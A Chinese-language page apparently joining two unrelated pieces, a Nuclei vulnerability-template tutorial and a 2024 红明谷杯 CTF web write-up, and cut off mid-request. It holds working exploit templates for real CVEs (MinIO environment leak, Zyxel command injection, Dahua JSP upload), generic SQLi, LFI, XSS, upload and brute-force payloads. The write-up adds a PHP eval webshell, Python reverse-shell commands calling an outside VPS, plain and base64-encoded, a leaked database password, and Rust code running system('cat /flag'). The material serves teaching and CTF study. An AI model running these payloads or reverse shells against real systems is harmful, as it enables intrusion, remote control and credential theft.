大意就是一个模板里有多个扫描路径,当第一个命中时,自动停止后面几个路径的扫描,当然这个不会影响其他模板. requests: - method: GET path: - "{{BaseURL}}" - "{{BaseURL}}/login" - "{{BaseURL}}/main" - "{{BaseURL}}/index" stop-at-first-match: true OOB 自 Nuclei v2.3.6 发行以来,Nuclei 支持使用 interact.sh API 内置自动请求关联来实现基于 OOB 的漏洞扫描。就像 {{interactsh-url}} 在请求中的任何位置编写并为添加匹配器一样简单 interact_protocol。Nuclei 将处理交互作用与模板的相关性,以及通过允许轻松进行 OOB 扫描而生成的请求的相关性。 requests: - raw: - | GET /plugins/servlet/oauth/users/icon-uri?consumerUri=https://{{interactsh-url}} HTTP/1.1 Host: {{Hostname}} JAVA反序列化 raw: - | POST /index.faces;jsessionid=x HTTP/1.1 Host: {{Hostname}} Accept-Encoding: gzip, deflate Content-Length: 1882 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Connection: close Content-Type: application/x-www-form-urlencoded javax.faces.ViewState={{generate_java_gadget("commons_collection3.1", "nslookup {{interact.sh}}", "base64")}} 3.匹配器 matchers-condition: and #对多个匹配器的匹配结果进行逻辑运算:and|or,AND是同时满足条件 matchers: - type: dsl #匹配器类型 <status|word|size|binary|regex|dsl> dsl: #使用 DSL 语法进行数据匹配(!注:更加灵活,复杂匹配,推荐使用) <StringSlice> - "status_code_1 == 200 && status_code_2 == 302" - 'all_headers_1 == "admin" && all_headers_2 == "index"' condition: and #需要同时满足上面两个条件 - type: word words: #返回包匹配文本(!!!注:word类型此处较为特殊,需要使用words做匹配项录入) <StringSlice> - "admin.php" - "61646d696e2e706870" - "{{match_str}}" encoding: hex #编码器,对返回提取数据进行编码后对word内容进行匹配(!!!注:仅支持word匹配器,暂仅只支持hex) <hex> #以下设置,基本通用(!!!注:除dsl类型) part: header #读取返回数据的区域 <header|body|无设置代表全匹配|interactsh_protocol|interactsh_request(!注:dnslog服务器返回数据,需要在发包中配合{{interactsh-url}}使用> condition: or #匹配结果逻辑运算 <and|or> negative: true #对匹配结果进行取反操作,结合condition可实现更为灵活的组合方式 <true|false> - type: status status: #与匹配器类型一致,当前为返回包状态码 <intSlice>,200或302 - 200 - type: regex regex: #使用正则进行数据匹配 <StringSlice> - '.*\admin.php.*' - type: binary binary: #使用二进制进行数据匹配 <StringSlice> - "61646d696e2e706870" - type: size size: #返回包数据大小(注:通指body数据) <intSlice> - 1234 dsl 一般用于复杂的逻辑判断,其中包含以下内置函数。 变量名描述例子输出数据 content_length 内容长度标头 content_length 12345 status_code 响应状态代码 status_code 200 all_headers 返回 header 信息 body 返回 body 信息 body_1 header_name 返回 header 的 key value 信息,全小写,且-替换为_ user_agent xxxx header_name 返回 header 的 key value 信息,全小写,且-替换为_ set_cookie xxx=xxxx raw 原始的返回信息(标头+响应) raw duration 请求响应时间 duration 5 如: #检查响应的大小是否大于1000字节 matchers: - size: ">1000" #匹配包含 “error” 关键词的响应 matchers: - word: "error" #匹配响应中的版本号: matchers: - regex: "Version: (\\d+\\.\\d+\\.\\d+)" #如果期望响应的前两个字节是 0x01 0x02: matchers: - binary: "0102" #匹配 HTTP 响应码为 200 的情况: matchers: - dsl: "response_code == 200" 4.Session 在发起多个请求时,需要保持会话,可以添加cookie-reuse: true来保持多个请求时会话得到保持,这在有身份验证时很有用。 # cookie-reuse accepts boolean input and false as default cookie-reuse: true 4.提取器 #提取器,对返回数据进行提取,用于再利用及发送至控制台进行显示或使用,语法与匹配器相似 extractors: - type: regex #提取器类型 <regex|json|kval|xpath|dsl> regex: #使用regex语法进行数据提取(!注:推荐使用) <StringSlice> - "token:(.*) " group: 1 #特定regex使用,0是完全匹配,1-N为获取分组数据(!!!注:注意长度须符合正则分组长度) <Int> #以下设置,基本通用 part: body #设置提取数据的区域 <header|body|无设置代表全匹配|interactsh_protocol|interactsh_request(!注:dnslog服务器返回数据,需要在发包中配合{{interactsh-url}}使用> name: token #设置当前提取数据存储变量名 <String> internal: true #设置将提取器用作动态变量,防止发送控制台后变量清空 <true|false> - type: json json: #基于 JSON 的响应中提取数据 <StringSlice> - ".token" - type: kval kval: #从响应标头/Cookie 中提取key: value/key=value格式化数据(!!!注:kval提取器不接受破折号-作为输入,必须替换为下划线_) <StringSlice> - "set_cookie" - "PHPSESSID" - type: xpath xpath: #从 HTML 响应中提取基于 xpath 的数据 <StringSlice> - "/html/body/div/p[2]/a" attribute: href #特定xpath使用,要提取的属性值,可选 - type: dsl dsl: #使用 DSL 表达式从响应中提取数据 - "len(body) 如: extractors: - regex: #正则表达式提取 pattern: "Version: (\\d+\\.\\d+\\.\\d+)" target: version extractors:#json提取 - json: path: .user.name target: username extractors:#xpath提取 - xpath: expression: //img/@src target: image_url 5.Nuclei 内置函数 辅助函数 描述 例子 输出数据 base64(src interface{}) string Base64 对字符串进行编码 base64("Hello") SGVsbG8= base64_decode(src interface{}) []byte Base64 对字符串进行解码 base64_decode("SGVsbG8=") [72 101 108 108 111] base64_py(src interface{}) string 像 python 一样将字符串编码为 base64(带有新行) base64_py("Hello") SGVsbG8=\n concat(arguments …interface{}) string 连接给定数量的参数以形成一个字符串 concat("Hello", 123, "world) Hello123world compare_versions(versionToCheck string, constraints …string) bool 将第一个版本参数与提供的约束进行比较 compare_versions('v1.0.0', '>v0.0.1', '<v1.0.1') true contains(input, substring interface{}) bool 验证字符串是否包含子字符串 contains("Hello", "lo") true generate_java_gadget(gadget, cmd, encoding interface{}) string 生成 Java 反序列化小工具 generate_java_gadget("commons-collections3.1","wget http://{{interactsh-url}}", "base64") gzip(input string) string 使用 GZip 压缩输入 gzip("Hello") gzip_decode(input string) string 使用 GZip 解压缩输入 gzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000")) Hello zlib(input string) string 使用 Zlib 压缩输入 zlib("Hello") zlib_decode(input string) string 使用 Zlib 解压缩输入 zlib_decode(hex_decode("789cf248cdc9c907040000ffff058c01f5")) Hello date(input string) string 返回格式化的日期字符串 date("%Y-%M-%D") 2022-05-01 time(input string) string 返回格式化的时间字符串 time("%H-%M") 22-12 timetostring(input int) string 返回格式化的 unix 时间字符串 timetostring(1647861438) 2022-03-21 16:47:18 +0530 IST hex_decode(input interface{}) []byte 十六进制解码给定的输入 hex_decode("6161") aa hex_encode(input interface{}) string 十六进制编码给定的输入 hex_encode("aa") 6161 html_escape(input interface{}) string HTML 转义给定的输入 html_escape("test") test html_unescape(input interface{}) string HTML 取消转义给定的输入 html_unescape("<body>test</body>") test len(arg interface{}) int 返回输入的长度 len("Hello") 5 md5(input interface{}) string 计算输入的 MD5(消息摘要)哈希 md5("Hello") 8b1a9953c4611296a827abf8c47804d7 mmh3(input interface{}) string 计算输入的 MMH3 (MurmurHash3) 哈希 mmh3("Hello") 316307400 print_debug(args …interface{}) 打印给定输入或表达式的值。用于调试。 print_debug(1+2, "Hello") [INF] print_debug value: [3 Hello] rand_base(length uint, optionalCharSet string) string 从可选字符集生成给定长度字符串的随机序列(默认为字母和数字) rand_base(5, "abc") caccb rand_char(optionalCharSet string) string 从可选字符集中生成随机字符(默认为字母和数字) rand_char("abc") a rand_int(optionalMin, optionalMax uint) int 在给定的可选限制之间生成一个随机整数(默认为 0 - MaxInt32) rand_int(1, 10) 6 rand_text_alpha(length uint, optionalBadChars string) string 生成给定长度的随机字母字符串,不包括可选的割集字符 rand_text_alpha(10, "abc") WKozhjJWlJ rand_text_alphanumeric(length uint, optionalBadChars string) string 生成一个给定长度的随机字母数字字符串,没有可选的割集字符 rand_text_alphanumeric(10, "ab12") NthI0IiY8r rand_text_numeric(length uint, optionalBadNumbers string) string 生成给定长度的随机数字字符串,没有可选的不需要的数字集 rand_text_numeric(10, 123) 0654087985 regex(pattern, input string) bool 针对输入字符串测试给定的正则表达式 regex("H([a-z]+)o", "Hello") true remove_bad_chars(input, cutset interface{}) string 从输入中删除所需的字符 remove_bad_chars("abcd", "bc") ad repeat(str string, count uint) string 重复输入字符串给定的次数 repeat("../", 5) ../../../../../ replace(str, old, new string) string 替换给定输入中的给定子字符串 replace("Hello", "He", "Ha") Hallo replace_regex(source, regex, replacement string) string 替换与输入中给定正则表达式匹配的子字符串 replace_regex("He123llo", "(\\d+)", "") Hello reverse(input string) string 反转给定的输入 reverse("abc") cba sha1(input interface{}) string 计算输入的 SHA1(安全哈希 1)哈希 sha1("Hello") f7ff9e8 sha256(input interface{}) string 计算输入的 SHA256(安全哈希 256)哈希 sha256("Hello") 185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969 to_lower(input string) string 将输入转换为小写字符 to_lower("HELLO") hello to_upper(input string) string 将输入转换为大写字符 to_upper("hello") HELLO trim(input, cutset string) string 返回一个输入切片,其中包含在 cutset 中的所有前导和尾随 Unicode 代码点都已删除 trim("aaaHelloddd", "ad") Hello trim_left(input, cutset string) string 返回一个输入切片,其中包含在 cutset 中的所有前导 Unicode 代码点都已删除 trim_left("aaaHelloddd", "ad") Helloddd trim_prefix(input, prefix string) string 返回没有提供的前导前缀字符串的输入 trim_prefix("aaHelloaa", "aa") Helloaa trim_right(input, cutset string) string 返回一个字符串,其中包含在 cutset 中的所有尾随 Unicode 代码点都已删除 trim_right("aaaHelloddd", "ad") aaaHello trim_space(input string) string 返回一个字符串,删除所有前导和尾随空格,由 Unicode 定义 trim_space(" Hello ") “Hello” trim_suffix(input, suffix string) string 返回没有提供的尾随后缀字符串的输入 trim_suffix("aaHelloaa", "aa") aaHello unix_time(optionalSeconds uint) float64 返回当前 Unix 时间(自 1970 年 1 月 1 日 UTC 以来经过的秒数)以及添加的可选秒数 unix_time(10) 1639568278 url_decode(input string) string URL 解码输入字符串 url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1") url_encode(input string) string URL 对输入字符串进行编码 url_encode("https://test.com?id=1") wait_for(seconds uint) 暂停执行给定的秒数 wait_for(10) true to_number(input string) float64 将数字型字符串转换为 float64 类型 to_number("123456") 123456 to_string(input interface{}) string 将数据转换为字符串类型 to_string(123456) “123456” rand_ip(input string) 根据输入网段随机返回一个 ip 地址 rand_ip("192.168.1.1/24") 五、脚本案例 id: CVE-2023-28432 info: name: MinIO集群模式信息泄露漏洞 author: kecy severity: medium description: | MinIO是一个开源对象存储系统。在其RELEASE.2023-03-20T20-16-18Z版本(不含)以前,集群模式部署下存在一处信息泄露漏洞,攻击者可以通过发送一个POST数据包获取进程所有的环境变量,其中就包含账号密码MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD。 reference: - https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md tags: minio,cve,cve2023 http: - raw: - | POST /minio/bootstrap/v1/verify HTTP/1.1 Host: {{Hostname}} Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36 Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 0 matchers-condition: and matchers: - type: word part: body words: - 'MINIO_SECRET_KEY' - 'MINIO_ROOT_PASSWORD' condition: and - type: status status: - 200 id: CVE-2022-30525 info: name: Zyxel 防火墙未经身份验证的远程命令注入 author: kecy severity: high description: | CVE-2022-30525中,Zyxel防火墙版本的CGI程序中,由于对某些传入的特殊数据处理存在错误,攻击者在未经身份验证的情况下通过构造恶意数据进行系统命令注入攻击,修改特定文件,最终执行任意代码。 reference: - https://blog.csdn.net/weixin_43080961/article/details/124776553 tags: Zyxel,cve,cve2022 http: - raw: - | POST /ztp/cgi-bin/handler HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36 Content-Type: application/json Connection: close {"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"{{exploit}}","data":"hi"} payloads: exploit: - ";ping -c 3 {{interactsh-url}};" matchers: - type: word part: interactsh_protocol name: dns words: - "dns" id: CVE-2023-3836 #模板的唯一标识符 info: #模板的基本信息 name: Dahua Smart Park Management - Arbitrary File Upload #模板的名称 author: HuTa0 #模板作者名 severity: critical #漏洞的严重程度 description: | #漏洞的详细描述 Dahua wisdom park integrated management platform is a comprehensive management platform, a park operations,resource allocation, and intelligence services,and other functions, including/emap/devicePoint_addImgIco?. remediation: | #修复建议,可以不写 Apply the latest security patch or update provided by the vendor to fix the arbitrary file upload vulnerability. reference: #漏洞相关的参考链接 - https://github.com/qiuhuihk/cve/blob/main/upload.md - https://nvd.nist.gov/vuln/detail/CVE-2023-3836 - https://vuldb.com/?ctiid.235162 - https://vuldb.com/?id.235162 classification: #漏洞的分类信息,包括CVSS评分、CVE-ID、CWE-ID等 cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-3836 cwe-id: CWE-434 epss-score: 0.04304 epss-percentile: 0.91215 cpe: cpe:2.3:a:dahuasecurity:smart_parking_management:*:*:*:*:*:*:*:* metadata: #额外的元数据信息 verified: true max-request: 2 vendor: dahuasecurity product: smart_parking_management shodan-query: html:"/WPMS/asset" zoomeye-query: /WPMS/asset tags: cve,cve2023,dahua,fileupload,intrusive,rce #模板的标签 variables: random_str: "{{rand_base(6)}}" #生成一个随机的6位字符串 match_str: "{{md5(random_str)}}" #对生成的随机字符串进行MD5哈希,以便在后续请求中进行匹配 http: - raw: - | POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1 Content-Type: multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT Host: {{Hostname}} --A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT Content-Disposition: form-data; name="upload"; filename="{{random_str}}.jsp" Content-Type: application/octet-stream Content-Transfer-Encoding: binary {{match_str}} --A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT-- - | GET /upload/emap/society_new/{{shell_filename}} HTTP/1.1 Host: {{Hostname}} matchers:#匹配器 - type: dsl #dsl: 定义了两个DSL匹配条件,要求两个条件都必须满足(使用condition: and) dsl: - "status_code_1 == 200 && status_code_2 == 200" - "contains(body_2, '{{match_str}}')" condition: and extractors: #提取器 - type: regex #使用正则表达式进行提取 name: shell_filename #提取的名称,内部使用 internal: true part: body_1 #提取响应的哪个部分,这里是body_1(第一个请求的响应体) regex: - 'ico_res_(\w+)_on\.jsp' #提取规则,这里是正则表达式'ico_res_(\w+)_on\.jsp' 六、典型场景 1.命令执行 id: remote-command-execution #模板的唯一标识符 info: #包含关于模板的基本信息 name: Remote Command Execution #模板的名称 author: backlion #模板作者的名称 severity: critical #漏洞的严重程度 description: | ##描述模板内容 默默存在远程命令执行漏洞 FOFA: app="Landray-OA系统" reference: https://github.com/backslion #参考来源 tags: rce, remote, command, execution #标签,用于标记模板的类型或用途 requests: #定义了用于测试的HTTP请求,这里可以用http代替 - raw: #原始HTTP请求数据 - | POST /vulnerable-endpoint HTTP/1.1 #请求方法和URL Host: {{Hostname}} #目标主机名 Content-Type: application/x-www-form-urlencoded Content-Length: 50 cmd=whoami matchers: #定义了如何判断响应是否表示漏洞存在 - type: word #匹配规则为关键字 words: #响应中预期包含的关键词 - "root" - "admin" - "user" part: body # 检查响应的body extractors: #定义了如何从响应中提取有用的信息 - type: regex #提取正则表达式 regex: #用于匹配响应中有用信息的正则表达式,比如root|admin|user - "root|admin|user" part: body #从响应的哪个部分提取信息,这里是body(响应体) 批量检查: nuclei -t rce-template.yaml -l url.txt 2.sql延时注入 id: sql-time-based-injection info: name: SQL Time-Based Injection author: bakclion severity: high tags: sql, sqli, time-based, injection requests: - raw: - | GET /vulnerable-endpoint?id=1%20AND%20IF(1=1,SLEEP(5),0) HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - response.time > 5000 - raw: - | GET /vulnerable-endpoint?id=1%20AND%20IF(1=2,SLEEP(5),0) HTTP/1.1 Host: {{Hostname}} matchers: #匹配器的类型,这里是dsl - type: dsl #自定义匹配规则,通过DSL(领域特定语言)来描述匹配逻辑 dsl: - response.time < 5000 3.任意文件读取 id: arbitrary-file-read info: name: Arbitrary File Read author: backlion severity: high tags: file-read, lfi, rfi, arbitrary-read requests: - raw: - | GET /vulnerable-endpoint?file=/etc/passwd HTTP/1.1 Host: {{Hostname}} matchers: - type: word words: - "root:x:0:0:" # /etc/passwd中典型的root用户行 part: body - raw: - | GET /vulnerable-endpoint?file=C:\Windows\System32\drivers\etc\hosts HTTP/1.1 Host: {{Hostname}} matchers: - type: word words: - "127.0.0.1" # Windows hosts文件中典型的内容 part: body 4.跨站脚本攻击 id: reflected-xss info: name: Reflected Cross-Site Scripting author: backlion severity: high tags: xss, reflected requests: - raw: - | GET /vulnerable-endpoint?input=<script>alert('XSS')</script> HTTP/1.1 Host: {{Hostname}} matchers: - type: word words: - "<script>alert('XSS')</script>" part: body - raw: - | GET /vulnerable-endpoint?input=%3Cscript%3Ealert('XSS')%3C/script%3E HTTP/1.1 Host: {{Hostname}} matchers: - type: word words: - "<script>alert('XSS')</script>" part: body 5.反序化 id: deserialization-vulnerability info: name: Deserialization Vulnerability author: backlion severity: high tags: deserialization, rce requests: - raw: - | POST /vulnerable-endpoint HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-java-serialized-object Content-Length: 112 rO0ABXNyABNqYXZhLnV0aWwuSGFzaE1hcBv7h1vlAAAAAAFMAARrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAAR2YWx1ZXQAEkxqYXZhL2xhbmcvU3RyaW5nO3hyABFqYXZhLmxhbmcuSGFzaE1hcBVzRlfdMzNFwAIAAUwABGNsb2NrSABMTGphdmEvbGFuZy9DbG9jaztMABBtYXBfZXhwbG9yZXJ0ABBMamF2YS91dGlsL01hcDt4cHcEAAAAAHh0ABR3b3Jrc0ZpbmUAAA== # This is a simple example payload matchers: - type: word words: - "java.util.HashMap" part: body - raw: - | POST /vulnerable-endpoint HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-java-serialized-object Content-Length: 116 rO0ABXNyABFqYXZhLnV0aWwuQXJyYXlMaXN0JTDnUphBOwGAAeEdAAZpblRhbmxlUgxBZXguU3lzdGVtcxkAAA0BAAF4cHcEAAAAAHhxAH4AAQ== # This is another example payload matchers: - type: word words: - "java.util.ArrayList" part: body 6.文件上传 id: file-upload-php-execution info: name: File Upload and PHP Execution Vulnerability author: backlion severity: critical tags: file-upload, php, execution requests: - raw: - | POST /vulnerable-endpoint HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW Content-Length: 251 ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: application/x-php <?php echo 'Vulnerable'; unlink(__FILE__); ?> ------WebKitFormBoundary7MA4YWxkTrZu0gW-- matchers: - type: word words: - "File uploaded successfully" part: body - raw: - | GET /uploads/shell.php HTTP/1.1 Host: {{Hostname}} matchers: - type: word words: - "Vulnerable" part: body 也可以用: <?php echo md5('漏洞编号');unlink(__FILE__); ?> 7.弱密码 id: weak-password-dictionary info: name: Weak Password Detection with Dictionary author: backlion severity: high tags: weak-password, authentication, login requests: - raw: - | POST /login HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded payloads: usernames: "{{usernames.txt}}" passwords: "{{passwords.txt}}" matchers-condition: and matchers: - type: word words: - "Welcome" - "Dashboard" part: body attack: pitchfork generators: - name: username type: template templates: - "{{usernames}}" - name: password type: template templates: - "{{passwords}}" request: - | POST /login HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded Content-Length: {{len "username=admin&password=admin"}} username={{username}}&password={{password}}
-
2024年数字中国创新第四届红明谷杯网络安全大赛WP
WEB ezphp 题目描述:一支专注于卫星通信技术的研究团队正在努力改进他们的通信系统,以提高数据传输的效率和安全性,团队决定采用PHP 8.3.2来完善通信系统开发。 考点:php filter chain Oracle PHP Filter链——基于oracle的文件读取攻击 参考:https://xz.aliyun.com/t/12939?time__1311=mqmhqIx%2BxfOD7DloaGkWepSazHG%3D4D#toc-16 题目给出源码如下 <?php highlight_file(__FILE__); // flag.php if (isset($_POST['f'])) { echo hash_file('md5', $_POST['f']); } ?> 这里可以用的项目:https://github.com/synacktiv/php_filter_chains_oracle_exploit/ 考点:可用PHP Filter链-基于oracle的文件读取攻击生成exp执行,题目提示php版本号正好满足条件,下载exp进行利用 执行payload,这里可能需要多跑几次才可以 python3 filters_chain_oracle_exploit.py --target http://eci-2zea1zzp9231ugqw9htd.cloudeci1.ichunqiu.com/ --file flag.php --parameter f 访问/flag.php?ezphpPhp8,读取生成的源码 <?php if (isset($_GET['ezphpPhp8'])) { highlight_file(__FILE__); } else { die("No"); } $a = new class { function __construct() { } function getflag() { system('cat /flag'); } }; unset($a); $a = $_GET['ezphpPhp8']; $f = new $a(); $f->getflag(); ?> 题目提示PHP版本为php 8.3.2,去PHP官网看ChangeLog,直接锁定GH-13097 本地调试,发现这里是可以用匿名类去读取出来flag,构造payload 本地起个容器: docker run -itd -p 1238:80 php:8.3.2-apache docker exec -it <容器id> /bin/bash 放flag.php,测试代码如下: <?php if (isset($_GET['ezphpPhp8'])) { // highlight_file(__FILE__); } else { // die("No"); } $anonymous = new class { function __construct() { } function getflag() { system('cat /flag'); } }; $a = get_class($anonymous); echo urlencode($a); echo "\n"; unset($anonymous); //echo get_class($a).': now you see me...'; $a = urldecode("class%40anonymous%00%2Fvar%2Fwww%2Fhtml%2Fflag.php%3A7%240"); $f = new $a(); $f->getflag(); var_dump($f); //throw new Exception( // get_class($anonymous).' ...now you don\'t!', // E_USER_ERROR //); 可以看到能执行getflag方法: 构造exp: /flag.php?ezphpPhp8=anonymous /flag.php?ezphpPhp8=class@anonymous%00/var/www/html/flag.php:7$1 /flag.php?ezphpPhp8=class@anonymous%00/var/www/html/flag.php:7$0 unauth 开局一个登录口 泄露了网站路径/www.zip中有admin的密码: www.zip泄露源码如下: <?php if (!isset($_SERVER['PHP_AUTH_USER'])) { header('WWW-Authenticate: Basic realm="Restricted Area"'); header('HTTP/1.0 401 Unauthorized'); echo '小明是运维工程师,最近网站老是出现bug。'; exit; } else { $validUser = 'admin'; $validPass = '2e525e29e465f45d8d7c56319fe73036'; if ($_SERVER['PHP_AUTH_USER'] != $validUser || $_SERVER['PHP_AUTH_PW'] != $validPass) { header('WWW-Authenticate: Basic realm="Restricted Area"'); header('HTTP/1.0 401 Unauthorized'); echo 'Invalid credentials'; exit; } } @eval($_GET['cmd']); highlight_file(__FILE__); ?> 简单审计一下,可以执行命令但大部分被ban了。 登录后,存在一句话木马,密码为cmd,ban了很多函数,经过测试发现可以用pcntl_exec反弹shell: //POST传参,反弹shell 1=pcntl_exec("/usr/bin/python",array('-c','import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("VPS地址",port端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);')); 最终需要提权,尝试suid未果,发现存在配置文件config.inc.php,其密码是admin用户密码 <!--?php # If you are having problems connecting to the MySQL database and all of the variables below are correct # try changing the 'db_server' variable from localhost to 127.0.0.1. Fixes a problem due to sockets. # Thanks to @digininja for the fix. # Database management system to use $DBMS = 'MySQL'; #$DBMS = 'PGSQL'; // Currently disabled # Database variables # WARNING: The database specified under db_database WILL BE ENTIRELY DELETED during setup. # Please use a database dedicated to DVWA. # # If you are using MariaDB then you cannot use root, you must use create a dedicated DVWA user. # See README.md for more information on this. $_DVWA = array(); $_DVWA[ 'db_server' ] = '127.0.0.1'; $_DVWA[ 'db_database' ] = 'dvwa'; $_DVWA[ 'db_user' ] = 'root'; $_DVWA[ 'db_password' ] = 'b90e0086d8b1165403de6974c4167165'; # Only used with PostgreSQL/PGSQL database selection. $_DVWA[ 'db_port '] = '5432'; # ReCAPTCHA settings # Used for the 'Insecure CAPTCHA' module # You'll need to generate your own keys at: https://www.google.com/recaptcha/admin $_DVWA[ 'recaptcha_public_key' ] = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg'; $_DVWA[ 'recaptcha_private_key' ] = '6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ'; # Default security level # Default value for the secuirty level with each session. # The default is 'impossible'. You may wish to set this to either 'low', 'medium', 'high' or impossible'. $_DVWA[ 'default_security_level' ] = 'impossible'; # Default PHPIDS status # PHPIDS status with each session. # The default is 'disabled'. You can set this to be either 'enabled' or 'disabled'. $_DVWA[ 'default_phpids_level' ] = 'disabled'; # Verbose PHPIDS messages # Enabling this will show why the WAF blocked the request on the blocked request. # The default is 'disabled'. You can set this to be either 'true' or 'false'. $_DVWA[ 'default_phpids_verbose' ] = 'false'; ?--> 发包反弹shell,执行命令来到交互式shell,利用获取到的密码b90e0086d8b1165403de6974c4167165切换admin用户读取flag即可 GET /?cmd=pcntl_exec('/usr/bin/python',['-c',base64_decode('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEyMy4xMjMuMTIzLjEyMyIsMTIzNCkpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtpbXBvcnQgcHR5OyBwdHkuc3Bhd24oInNoIik=')]); HTTP/1.0 Host: xxx.com Pragma: no-cache Cache-Control: no-cache Authorization: Basic YWRtaW46MmU1MjVlMjllNDY1ZjQ1ZDhkN2M1NjMxOWZlNzMwMzY= Upgrade-Insecure-Requests: 1 WWW-Authenticate: Basic realm="Restricted Area User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,ja;q=0.8,vi;q=0.7 Cookie: PHPSESSID= Connection: close playground rust源码审计题目给出源码如下,这题基本给解烂了 #[macro_use] extern crate rocket; use std::fs; use std::fs::File; use std::io::Write; use std::process::Command; use rand::Rng; #[get("/")] fn index() -> String { fs::read_to_string("main.rs").unwrap_or(String::default()) } #[post("/rust_code", data = "<code>")] fn run_rust_code(code: String) -> String{ if code.contains("std") { return "Error: std is not allowed".to_string(); } //generate a random 5 length file name let file_name = rand::thread_rng() .sample_iter(&rand::distributions::Alphanumeric) .take(5) .map(char::from) .collect::<String>(); if let Ok(mut file) = File::create(format!("playground/{}.rs", &file_name)) { file.write_all(code.as_bytes()); } if let Ok(build_output) = Command::new("rustc") .arg(format!("playground/{}.rs",&file_name)) .arg("-C") .arg("debuginfo=0") .arg("-C") .arg("opt-level=3") .arg("-o") .arg(format!("playground/{}",&file_name)) .output() { if !build_output.status.success(){ fs::remove_file(format!("playground/{}.rs",&file_name)); return String::from_utf8_lossy(build_output.stderr.as_slice()).to_string(); } } fs::remove_file(format!("playground/{}.rs",&file_name)); if let Ok(output) = Command::new(format!("playground/{}",&file_name)) .output() { if !output.status.success(){ fs::remove_file(format!("playground/{}",&file_name)); return String::from_utf8_lossy(output.stderr.as_slice()).to_string(); } else{ fs::remove_file(format!("playground/{}",&file_name)); return String::from_utf8_lossy(output.stdout.as_slice()).to_string(); } } return String::default(); } #[launch] fn rocket() -> _ { let figment = rocket::Config::figment() .merge(("address", "0.0.0.0")); rocket::custom(figment).mount("/", routes![index,run_rust_code]) } 题目逻辑大致就是去构造rust_code执行rust代码,这里需要不出现std关键字,可执行命令,拷打ai就能出的题,绕过可调用C语言去执行,添加一个write函数()读就行了,附上payload extern "C" { // Existing bindings to C library functions for file operations fn fopen(filename: *const u8, mode: *const u8) -> *mut u8; fn fread(buffer: *mut u8, size: usize, count: usize, stream: *mut u8) -> usize; fn fclose(stream: *mut u8) -> i32; // Bind to the `write` function for writing to a file descriptor fn write(fd: i32, buf: *const u8, count: usize) -> isize; } fn main() { unsafe { // Open the file in read mode ("r") let filename = b"/flag\0"; // C strings require a null-terminator let mode = b"r\0"; // Mode "r" for read let file_ptr = fopen(filename.as_ptr(), mode.as_ptr()); if !file_ptr.is_null() { let mut buffer = [0u8; 1024]; // Read from the file into the buffer let bytes_read = fread(buffer.as_mut_ptr(), 1, buffer.len(), file_ptr); if bytes_read > 0 { write(1, buffer.as_ptr(), bytes_read); } else { // Handle the case where nothing was read println!("Could not read from file or file was empty."); } // Close the file fclose(file_ptr); } else { // Handle the case where file couldn't be opened println!("Could not open the file."); } } } POST /rust_code HTTP/1.1 Host: xxx Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-TW,zh-CN;q=0.9,zh;q=0.8 Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 146 extern "C" { fn system(s: *const u8) -> i32; } fn main() { unsafe { system(b"cat /flag\0".as_ptr() as *const u8); } } 或者: POST /rust_code 